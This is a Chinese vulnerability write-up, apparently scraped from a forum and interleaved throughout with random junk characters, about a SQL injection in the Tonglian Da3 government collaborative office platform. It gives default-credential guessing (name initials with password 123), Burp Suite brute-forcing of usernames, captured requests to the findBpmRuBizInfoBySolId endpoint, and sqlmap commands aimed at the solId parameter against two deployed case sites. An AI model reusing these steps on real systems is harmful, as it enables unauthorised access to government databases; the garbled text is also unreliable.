同联Da3协同办公平台前台通用sql injection漏洞

admin

) N- B$ _! u9 {* x
) u. q/ @) t/ R/ p4 v" ]- a" d

5 Q& X# t8 T2 N# p+ k$ R p/ U 平台简介： ) t. T* n$ E O

& D( A5 |8 E/ }4 g9 q) C& K  

2 P- H& g6 q# u; ]9 h+ L

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 0 F% v% F: K$ d

& J" k; q! C; q, t

  6 c, N6 k7 t& @0 i8 i

& i$ ?. r" U1 P" b/ X; O 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

  4 i2 E5 O/ h7 _: G0 t7 [8 r

" `4 s4 X* K! H$ G3 a' ]1 A http://1.1.1.1:7197/cap-aco/#（案例2-） " L2 f- P6 D/ i( {! \( a5 ]" y

4 t/ M: B' h5 Z4 e# S

x( n; [6 ^6 T' d http://www.XXOO.com （案例1-官网网站）

- W+ k! E6 |+ o6 J- D) _0 C

8 s; C0 K* [0 f  

漏洞详情: 1 V- e8 }; F8 L F+ c! t! C2 K; c

0 _& k$ ]$ E: @3 U  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

$ z- r* h$ O5 c" c1 r# A+ ] ?. ~# @      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： ' W0 x9 p3 t( X4 G. e

2 i5 b% `" R0 c. v& i8 c) q1 b

8 C3 C2 Y' ^, W b; Z9 f  

  ) j) p6 E/ v* f4 q

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

. Z$ A$ [; ^1 t! D7 b7 |7 Q% G. b 1、案例1-官方网站 8 O- B& E* W7 C/ i$ F- R

; S9 M- }) \$ M

! f% U- l; e6 x- C8 q GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

Host: www.XXOO.com . P* S: l6 S, e! E/ C

; _# \- m2 }. \0 @& R

Proxy-Connection: Keep-Alive / J+ b0 g2 ?: n' {0 U, w i/ U

Accept: application/json, text/javascript, */*; q=0.01 q! K2 F8 v, [2 L5 p

, c) ^ B8 L9 j5 c O D

Accept-Language: zh-CN 1 u7 n/ a( V6 U: P3 {; K3 f6 ?

) G# x1 _3 C$ U' |5 ]$ X9 w Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko 0 a8 _6 J% i. w# E3 Q9 x; c' ]

+ h) b0 x5 v( O3 z/ c1 s

X-Requested-With: XMLHttpRequest + u9 L- b* b) m# h; }

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 1 s- y& @- [1 q, m' q

9 V8 v5 E _+ _" T( z! ^, `5 T Accept-Encoding: gzip, deflate, sdch

4 z" {% T# q, j& i& L* O' }2 i, G4 c3 c

& w* E% H7 ~4 B- l2 l Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

% n, G7 C" w: P& v l9 {

. B$ _( a! @6 |# w; O 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

. S4 y ^& \6 z; B) V5 ]& U

; Q+ }6 \: X- m) U" m$ _2 K% E6 t  

6 {/ f: c0 L( W! s

 

  ( c4 y: p; o( ~; p2 S/ m7 b9 |

$ O2 i7 j* L2 b* D- v7 d5 G

. V9 r& R, J# Q   e. ^- v+ ~. f9 w8 j" o, g+ x

 

$ G: u; d: M/ U: u f w! U 2、案例2-某天河云平台

% M. U% {' R% @5 U% I

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 Z" [# g0 [6 t

Host: 1.1.1.:7197

& e, L9 P% f0 }; [ t0 j

3 U5 z8 `" e3 Z3 j ]: c e& ` Accept: application/json, text/javascript, */*; q=0.01

6 u! C( ~$ K9 r* p X-Requested-With: XMLHttpRequest

- \) |, c0 r, c0 f& v

1 q F- _- p/ T$ E User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

: L* @; W) r* D. ]6 I5 a) v Content-Type: application/json ) V( `( |% m) k( R" n

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

Accept-Language: zh-CN,zh;q=0.8 . K+ J6 a% f$ a

& B! `( X" \1 {+ N9 g

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 ) N3 D, q' t" N# j* x

$ B& I6 A4 l4 X# b8 ?; m

& A9 a5 B" G& t- o4 I+ ]: _. D Connection: close

|$ Q0 r* p: X. ]. t

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 7 n; ^, A( F% m% r

" f1 @4 |' I0 u; r& ~2 l   2 [$ X8 E- m. y: I2 }5 l l w9 `

, T+ t1 E& t7 m